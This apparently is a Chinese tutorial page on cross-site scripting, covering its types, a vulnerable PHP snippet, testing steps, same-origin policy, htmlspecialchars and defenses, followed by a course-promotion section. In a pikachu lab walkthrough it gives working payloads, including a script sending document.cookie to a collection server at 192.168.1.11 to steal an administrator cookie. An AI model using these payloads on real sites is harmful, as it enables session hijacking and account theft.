news 2026/2/1 3:20:35

XSS跨站脚本攻击(超详细!!!)零基础入门到精通,收藏这篇就够了

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
XSS跨站脚本攻击(超详细!!!)零基础入门到精通,收藏这篇就够了

1、什么是XSS

XSS(跨站脚本攻击):攻击者利用这个漏洞将恶意脚本注入到网页中,当其它用户浏览这些页面时,恶意脚本会在用户的浏览器中执行。XSS攻击允许攻击者在用户的浏览器上执行脚本,从而可能获取用户的敏感信息(如cookies)、篡改网页内容、重定向用户至恶意站点,甚至进行钓鱼攻击等。

2、漏洞产生的原因

XSS漏洞产生的原因主要是Web应用对用户输入的数据过滤和检查不严格,没有进行适当的处理(如编码或转义),导致攻击者能够注入恶意脚本,这些脚本在用户的浏览器中执行

3、XSS分类

XSS攻击主要分为以下几种类型:

反射型XSS(Non-Persistent XSS):这种攻击的特点是恶意脚本不是存储在服务器上,而是通过用户提供的数据作为参数嵌入到动态生成的网页链接中。当其他用户点击这个链接时,恶意脚本在他们的浏览器中执行。

存储型XSS(Persistent XSS):这种攻击类型中,恶意脚本被存储在服务器端,例如在数据库或服务器文件中。当其他用户访问存储了恶意脚本的页面时,脚本会被执行。

DOM Based XSS:这种类型的XSS攻击源于前端JavaScript对用户输入数据的不当处理,而不是来自服务器端响应。它利用的是浏览器的DOM环境,而不是HTML文档本身的漏洞。

3.1 反射型XSS(中危)
<?php $name = $_GET['id']; echo "Welcome $name<br>"; ?>


在这段代码中程序接受id的值,并且输出,如果提交xss.php?id=,因为程序并没有进行XSS代码过滤,最终造成反射型XSS漏洞

3.2 存储型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

与反射型XSS相比,唯一的区别就是XSS代码被带入数据,在下次浏览时,又被读取出来使用

<script>alert(1)</script>

3.3 DOM XSS(低危)

不与后台服务器产生数据交互,通过前端的dom节点形成的XSS漏洞。

什么是DOM:DOM全称是Document Object Model,也就是文档对象模型。我们可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。当创建好一个页面并加载到浏览器时,DOM就悄然而生,它会把网页文档转换为一个文档对象,主要功能是处理网页内容。故可以使用 Javascript 语言来操作DOM以达到网页的目的。

<a href='"+str+"'>what do you see?</a> <a href='#' onclick="alert(1111)">what do you see?</a> <a href='#' onclick="alert(2222)">what do you see?</a>

4、XSS测试方法

1、工具扫描:APPscan、AWVS

2、手工测试:Burpsuite、firefox(hackbar)、XSSER XSSF

(1)在目标站点上找到输入点,比如查询接口,留言板等;
(2)输入一组"特殊字符+唯一识别字符",点击提交后,查看返回的源码,是否有做对应的处理;
(3)通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

5、XSS平台搭建及cookie获取

5.1 XSS平台搭建

进入pikachu靶场,点击【管理工具】=> 【XSS后台】

进入这个界面后,点击进行初始化安装


5.2 获取管理员cookies

登录pikachu页面,打开【XSS之盲打】,检查是否存在XSS注入

111'"><script>alert(1)</script>

注入后没有任何弹出的窗口,访问以下路径,登录管理员的后台看看

登录用户名和密码分别是admin和123456

发现登录进去之后会弹出我们刚才注入的信息

把pikachu中的pkxss目录复制一份到WWW目录下,然后修改C:\tools\phpstudy\WWW\pkxss\xcookie下的cookie.php文件,将IP地址改为192.168.1.11:90

通过下面的代码获取cookie

<script>document.location='http://192.168.1.11:90/pkxss/xcookie/cookie.php?cookie=' +document.cookie;</script> //通过document.location 实例进行重定向

注入后提交

再登录到管理员后台,发现登录完成后会自动跳转到首页

这样就可以获取管理员的cookies

6、同源策略

6.1 什么是跨域
http:// www. oldboyedu.com :80 / news/index.php 协议 子域名 主域名 端口 资源地址

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。

6.2 同源策略

**同源策略(Same-Origin Policy,简称SOP)**是一种浏览器安全机制,用于限制一个源(origin)的文档或脚本如何与另一个源的资源进行交互。这个策略的目的是防止恶意文档窃取数据或对另一个源进行恶意操作。

同源策略的主要限制包括:
① 数据访问限制:不同源的网页不能通过JavaScript读取或修改对方的DOM树和数据。
② Cookie和Session:浏览器在发送HTTP请求时,不会携带跨源的Cookie和Session信息。
③ Web Storage:localStorage和sessionStorage等Web存储API遵循同源策略,不同源的页面不能访问彼此的存储数据。
④ Web SQL和IndexedDB:这些客户端存储数据库API也受到同源策略的限制。
⑤ 跨源AJAX请求:通过XMLHttpRequest或Fetch API进行的AJAX请求默认情况下不能跨源请求数据,除非服务器端设置了适当的CORS(跨源资源共享)策略。

**Tips:**下面这些标签跨域加载资源(资源类型是有限止的)是不受同源策略限制的

<script src="..."> //加载本地js执行 <img src="..."> //图片 <link href="..."> //css <iframe src="..."> //任意资源

7、绕过htmlspecialchars()函数

htmlspecialchars() 是PHP中用于转义HTML特殊字符的函数,确保输出的字符串可以安全地显示为纯文本,避免XSS(跨站脚本)攻击。这个函数将几个预定义的HTML字符转换为它们的HTML实体等价物:

& 转换为 &amp; " 转换为 &quot;(双引号) ' 转换为 &#039; 或 &apos;(单引号) < 转换为 &lt; > 转换为 &gt;

参数说明:
$string:需要转义的原始字符串。
$flags:指定转义的模式,可以是以下常量之一或组合:
ENT_COMPAT:默认值,转换<>"'&字符。
ENT_QUOTES:转换双引号和单引号。
ENT_NOQUOTES:不转换引号,只转换<>&。
ENT_HTML401:遵守HTML 4.01规范。
ENT_XML1:遵守XML 1规范。
ENT_XHTML:遵守XHTML规范。
ENT_HTML5:遵守HTML 5规范。
$encoding:指定字符编码。默认为UTF-8。
$double_encode:当设为true时,会连续转义现有的实体。如果设为false,不会对&等实体进行二次转义。

8、XSS防御

① 对用户输入进行严格的验证和过滤,使用白名单或黑名单方法。
② 对输出到页面的数据进行编码或转义,防止执行。
③ 实施内容安全策略(CSP),限制网页可以加载和执行的资源。
④ 设置HTTPOnly标志的Cookie,防止JavaScript访问。
⑤ 使用前端安全库进行DOM净化,防止基于DOM的XSS攻击。
⑥ 定期进行安全审计和代码审查,及时修复安全漏洞。

网络安全学习路线&学习资源

网络安全的知识多而杂,怎么科学合理安排?

下面给大家总结了一套适用于网安零基础的学习路线,应届生和转行人员都适用,学完保底6k!就算你底子差,如果能趁着网安良好的发展势头不断学习,日后跳槽大厂、拿到百万年薪也不是不可能!

初级网工

1、网络安全理论知识(2天)

①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)

①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)

①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)

①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)

①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)

①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

【“脚本小子”成长进阶资源领取】

7、脚本编程(初级/中级/高级)

在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。

8、超级网工

这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。感兴趣的童鞋可以研究一下,不懂得地方可以【点这里】加我耗油,跟我学习交流一下。

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,可以【点这里】加我耗油发给你,大家也可以一起学习交流一下。

一些我自己买的、其他平台白嫖不到的视频教程:

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/30 10:31:16

一篇文章带你搞定企业级完整性能测试流程!

大部分公司在最初试的阶段只会关心项目的基本功能&#xff0c;能用就可以。但是随着项目的成熟&#xff0c;用户量逐步的增大&#xff0c;线上经常就会出现一些系统崩溃&#xff0c;用户反映系统太慢等性能问题的爆发。所以&#xff0c;性能测试的需求就逐步变得迫切了。所以&a…

作者头像 李华
网站建设 2026/1/28 20:40:54

Redis 分布式锁:从原理到 Spring Boot 实战,避开 90% 开发者踩的坑!

视频看了几百小时还迷糊&#xff1f;关注我&#xff0c;几分钟让你秒懂&#xff01; 在分布式系统中&#xff0c;多个服务实例同时操作共享资源&#xff08;如扣减库存、生成订单号&#xff09;时&#xff0c;必须使用分布式锁来保证数据一致性。而 Redis 凭借其高性能和原子操…

作者头像 李华
网站建设 2026/1/31 2:21:58

C++课后习题训练记录Day74

1.练习项目&#xff1a; 题目描述 输入一个自然数 n (n≤1000)&#xff0c;我们对此自然数按照如下方法进行处理: 不作任何处理; 在它的左边加上一个自然数,但该自然数不能超过原数的一半; 继续按照规则2添加&#xff0c;但是添加的数不能超过上一次添加数的一半&#xff0…

作者头像 李华
网站建设 2026/1/31 17:50:57

C++课后习题训练记录Day75

1.练习项目&#xff1a; 问题描述 在一个神秘的世界中&#xff0c;存在一个传说中的神秘花园&#xff0c;被认为拥有无限的知识。但要进入这个花园&#xff0c;你必须解决花园入口处的一道神秘数学难题。这个难题与一个特殊的数学函数相关&#xff0c;称为“神秘函数”。 神…

作者头像 李华
网站建设 2026/1/30 9:19:16

科研必备:六大学术引用平台+AI智能排版推荐

核心工具对比速览 工具名称 核心优势 适用场景 处理速度 AiBiye 智能识别引用格式&#xff0c;自动匹配规范 学术论文初稿 3-5秒/页 AiCheck 深度检测引用缺失&#xff0c;精准定位问题 论文终稿检查 10秒/篇 AskPaper 多语言引用规范支持 国际期刊投稿 5-8秒/页…

作者头像 李华